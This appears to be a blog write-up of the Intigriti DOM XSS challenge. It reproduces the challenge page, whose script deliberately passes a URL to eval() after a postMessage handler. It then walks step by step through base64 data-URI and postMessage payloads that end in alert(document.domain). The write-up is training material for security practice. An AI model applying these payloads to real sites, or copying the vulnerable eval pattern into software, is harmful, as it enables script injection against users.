Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I just finished the Intigriti XSS challenge, and I wanted to share my write-up for it.
I was perusing Twitter a few days ago, and came across this tweet. Unfortunately, it was a few hours after the challenge had closed, but I figured that the practice couldn’t hurt anyway.
I went to the challenge URL, and began to take a look.
Like any good attacker, I through a random input at the page before even checking it out fully.
https://challenge.intigriti.io/?test=whoami
As expected, not much happened, but I did get an invalid URL error.
At this point, it was time to look at the page’s source.
Intigriti had clearly marked the script block for the challenge, and seemed like it would involve poisoning the eval(url) call.
<html>
<head>
<title>[intigriti] - XSS Challenge</title>
<link href="https://fonts.googleapis.com/css?family=Poppins" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="./style.css">
</head>
<body>
<header>
<img src="./logo.svg" id="logo"/>
</header>
<h2>Challenge</h2>
<p>Try to exploit a DOM XSS vulnerability on this page to trigger a popup of the document.domain (<b>challenge.intigriti.io</b>).<br/>
The winner gets a <b>Burp License (1 year), an exclusive swag package and invitations to private programs</b>.</p>
<h2>Done?</h2>
<p>Head over to <a href="https://go.intigriti.com/submit-solution" target="_blank">go.intigriti.com/submit-solution</a> and submit your solution before May 2nd 11:59 PM GMT+1.
<br/>Out of all valid submissions, we will randomly pick a winner and announce it on our <a href="https://www.twitter.com/intigriti" target="_blank">Twitter profile</a>.</p>
<h2>Got stuck?</h2>
<p>Keep an eye on <a href="https://twitter.com/intigriti" target="_blank">our Twitter</a>! We will tweet a tip for every 100 likes <a href="https://go.intigriti.com/xss-challenge-tweet" target="_blank">our announcement tweet</a> gets</a>.
<footer>
<b>Good luck!</b><br/>
Please do not publicly share the solution before the challenge is over!
</footer>
<!-- challenge -->
<script>
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
</script>
<!-- challenge -->
</body>
</html>
Based on the simple replacement filter, I decided to send a base64 encoded data URI to the page.
As you can see, I was already able to get alert(1) to work!
With my early success out of the way, it was time to alert the domain, and finish this challenge.
root@kali:~# echo '<script>alert(document.domain);</script>' | base64 PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pgo=
If you paid attention to the earlier code, then you would have realized my folly before me. As this message handler is being run from the newly created iframe, it has no access to the document.domain property. As you can see below, my modified alert was blank.
In this case, I needed to be able to access the parent URL/window from my newly created iframe. This StackOverflow post indicated that it should be possible, so I continued.
Reading the accepted answer, it mentioned the postMessage method for passing messages, which seemed great considering the message handler. I pulled up the postMessage documentation, and figured out how it worked.
First, I send a message of “MARCO” to my parent window, with a wildcard origin.
root@kali:~# echo '<script>window.parent.postMessage("MARCO", "*")</script>' | base64 PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJNQVJDTyIsICIqIik8L3NjcmlwdD4K
This time, I got a slightly different error mentioning an index property setter.
This error was occurring during the Object.assign call, which made me think that there could be an issue with my e.data.
Next, I tried to send an empty object, instead of a string to my parent window.
root@kali:~# echo -ne '<script>window.parent.postMessage({}, "*")</script>' | base64 PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+
This seemed to give me a little more progress, as I was getting an “Unexpected end of input” error.
This error was occurring on the eval() call, so I decided to perform some testing with the JavaScript console.
As expected, performing this functionality manually returned the same error.
> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+'); VM870:1 Uncaught SyntaxError: Unexpected end of input at <anonymous>:1:1
After some searching and trying various things, I realized that this error is because JavaScript shouldn’t really end with a plus sign. Once I removed this, I got a different error.
> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ'); VM1375:1 Uncaught ReferenceError: text is not defined at eval (eval at <anonymous> ((index):1), <anonymous>:1:6) at <anonymous>:1:1
My next error indicated that ‘text’ wasn’t defined, so I tried to see what would happen if I just defined it.
> text = 0; 0 > eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ'); VM1394:1 Uncaught ReferenceError: html is not defined at eval (eval at <anonymous> ((index):1), <anonymous>:1:11) at <anonymous>:1:1 (anonymous) @ VM1394:1 (anonymous) @ VM1393:1
The eval was progressing at this point, so I did the same thing for ‘html’.
> html = 0; 0 > eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ'); VM1411:1 Uncaught ReferenceError: base64 is not defined at eval (eval at <anonymous> ((index):1), <anonymous>:1:16) at <anonymous>:1:1 (anonymous) @ VM1411:1 (anonymous) @ VM1410:1
At this point, I realized that my base64 section would break everything if I tried to define those. In this case, I tried to define ‘text’ and ‘html’, and then just send an alert(1).
> eval('data:text/html;alert(1)'); undefined
The payload was properly eval’d this time, and I got my alert!
I knew that I would need to include my actual payload in my Data URI, but I wouldn’t be able to define the base64 encoded section. At this point, it was time to learn a bit more about Data URIs.
From my reading, it seemed that I should be able to put whatever I wanted before my base64 section, and it would still work. I tried this, and my ‘test1234’ string didn’t seem to break anything.
Next, I generated a new message payload that would define my ‘text’ and ‘html’ values like before.
root@kali:~# echo -ne '<script>window.parent.postMessage({text:1, html:1}, "*")</script>' | base64 PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MX0sICIqIik8L3NjcmlwdD4=
I also added an alert(1) before my base64 encoded message, so that this would be eval’d by the message handler.
This worked, and my alert was actually coming from the parent domain this time.
All I needed to do now was modify the alert to display document.domain, and I’d be done.
This worked, and I had completed the challenge!
It was nice to sharpen some of my DOM XSS skills, and this was a pretty fun challenge.
I’m disappointed that I didn’t get to it until after it ended, but I’ve already got my own Burp license.
There are plenty of other great write-ups, so I suggest you check them out as well.
I still have some more XSS content that I want to finish, so don’t worry!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.